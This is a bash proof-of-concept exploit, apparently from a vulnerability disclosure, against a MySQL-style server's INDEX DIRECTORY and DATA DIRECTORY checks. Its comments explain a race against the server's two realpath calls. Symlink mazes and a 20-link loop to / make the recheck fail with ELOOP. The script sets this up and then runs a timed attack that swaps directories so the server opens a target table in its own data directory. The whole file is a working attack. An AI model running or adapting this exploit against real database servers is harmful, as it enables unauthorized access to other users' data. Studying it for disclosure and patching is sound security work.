#!/bin/bash
set -e

. ./attack.conf

# --auto-rehash would cause the table to be opened prematurely.
mysql_cmd=(mysql --defaults-extra-file=attack.my-cnf --disable-auto-rehash)

umask 022

# For the index file and then for the data file, the server does the following:
# 1. Runs the path through realpath and errors out if realpath fails.  Let P be
#    the result.
# 2. Runs P through realpath again and errors out if the result, or P itself if
#    realpath failed, is in the server data dir.
# 3. Opens P.
#
# We can classify potential attacks based on whether P is still canonical (does
# not go through symlinks) at the time that step 1 completes.
# - If so, we have an interval of about .34 s to intervene before the server
#   finishes rechecking the canonical path P in step 2 and errors out if it
#   refers to the server data dir.  This interval may be hard to hit twice in a
#   row (once for the index file and once for the data file).
# - If not, we have to replace a component X of P with a symlink after X is
#   checked by step 1.  That takes two syscalls, and if the server tries to walk
#   X in between, it will get ENOENT and error out.  I expect the replacement to
#   have a good success rate (at least when done from C code) because the server
#   is spending most of its time walking the other components.
#       The replacement only buys us a nontrivial step 2.  We still must arrange
#   for P to point to the server data dir when it is opened in step 3, but
#   without step 2 seeing that it does.  Assuming we don't want to win another
#   race per file, our options are quite limited.  Step 1 will return P whose
#   components are all real directories except for X, so in order for P to
#   point to the server data dir after we place a symlink at X, that symlink's
#   final target T must be an ancestor of the server data dir.  But then, for
#   the server to be in the attack homedir after the replacement, T has to be an
#   ancestor of the homedir too, and P must contain appropriate path components
#   after X, which must also correspond to real dirs before the replacement.
#   The obvious thing is to set T = / .
#       We also need the realpath in step 2 to fail, and that is easily achieved
#   by having the resolution of the symlink at X go through more than 20
#   symlinks.
#
# So, the plan is:
# - The server starts going through a maze under a directory "index-switch".
# - We move the dir "index-switch" aside and replace it with a symlink that goes
#   through 20 symlinks to /, such that the server will then be in the second
#   maze, which ends in the server data dir.
# - The realpath in step 2 fails with ELOOP, so the server does not realize
#   what we have done.
# This process is repeated for the data file.

case "$1" in
(setup)

rm -rf "$homedir"/*
"${mysql_cmd[@]}" -e "drop table if exists $target_table;"

# Prepare a place for the dummy table to be created.
mkdir -m 777 "$homedir/storage"
for f in index data; do
	ln -s storage "$homedir/$f-dir"
done

# Load the schema (no trailing semicolon) with some options added to the end.
cat "$schema_file" /dev/fd/4 4<<OPTIONS | "${mysql_cmd[@]}"
INDEX DIRECTORY='$homedir/index-dir' DATA DIRECTORY='$homedir/data-dir';
OPTIONS

# Compute dot-dots to go from the homedir to /.  This is a bit of a hack.
# Remove non-slashes from $homedir and then change each / to ../ .
# First line: bash looks for the slash delimiting the glob before it parses the
# character class, so we need a backslash.  (Perl does the same, sed is smarter.)
up="${homedir//[^\/]/}"
up="${up//\//../}"

ln -s . "$homedir/me"
ln -s / "$homedir/root"
# We can't inline the "/" here because it obviously won't work following a relative path.
# Alternatively, we could inline $up; it doesn't really matter.
ln -s "$(perl -e 'print "me/" x 20;')root" "$homedir/loopy-root"

# $server_datadir/... + $f-dir + enter + first + (15 chains) + sdd
#     = 20 symlinks, the realpath limit.
# Chain length 790 means "n" symlinks of length ~3950, which is fine.  And it
# should keep the "to-do" buffer under the PATH_MAX limit.
mkmaze_cmd=(./mkmaze --relative 15 750)

for f in index data; do
	# The link to start out with.
	ln -nfs "$f-switch$homedir/maze/enter/sdd/$target_db" "$homedir/$f-dir"
	# The first maze.
	mkdir -p "$homedir/$f-maze1$homedir/maze"
	"${mkmaze_cmd[@]}" "$homedir/$f-maze1$homedir/maze"
done

# The second maze (it can be shared).
mkdir "$homedir/maze"
"${mkmaze_cmd[@]}" "$homedir/maze"
# This will have an extra slash between $up and $server_datadir; I don't care.
ln -s "../$up$server_datadir" "$homedir/maze/sdd"

;;

(run)

for f in index data; do
	# Put the first maze into position.
	if ! [ -h "$homedir/$f-switch" ] && [ -d "$homedir/$f-switch$homedir/maze" ]; then
		# It is already in position, perhaps from a previous interrupted run.
		:
	elif [ -d "$homedir/$f-maze1" ]; then
		rm -f "$homedir/$f-switch" # There might be a symlink there.
		mv -T "$homedir/$f-maze1" "$homedir/$f-switch"
	else
		echo "Can't find $f-maze1!  Please do the setup over." >&2
		exit 1
	fi
done

# Make sure all mazes are in cache.  This buys us consistent timings.
# The mysql server uses realpath, which takes quadratic time, so it's
# plenty slow enough even when the mazes are in cache.  If the victim
# used a linear algorithm, we would have to take advantage of making
# it sleep for I/O.
ls -Ld "$homedir/"{,{index,data}-switch"$homedir/"}"maze/enter/" >/dev/null

exec 3>&1
{
echo 'Give the client time to start up and connect' >&3
sleep $startup_time;

echo "$target_query;" >&3
echo "$target_query;"

# Give the server time to get through the index-switch, and then flip it so that
# the server is accessing the second maze.
sleep $maze_time_half
echo 'Flip index-switch to loopy-root' >&3
./flip "$homedir" loopy-root index-switch index-maze1

# Give time for the open of the index to finish and for the server to get
# through the data-switch, then flip that switch.
sleep $maze_time
echo 'Flip data-switch to loopy-root' >&3
./flip "$homedir" loopy-root data-switch data-maze1

echo 'Wait for client to finish' >&3

} | "${mysql_cmd[@]}"

# Now the server has the target table open.  Run a new, interactive mysql client.
"${mysql_cmd[@]}"

;;

esac
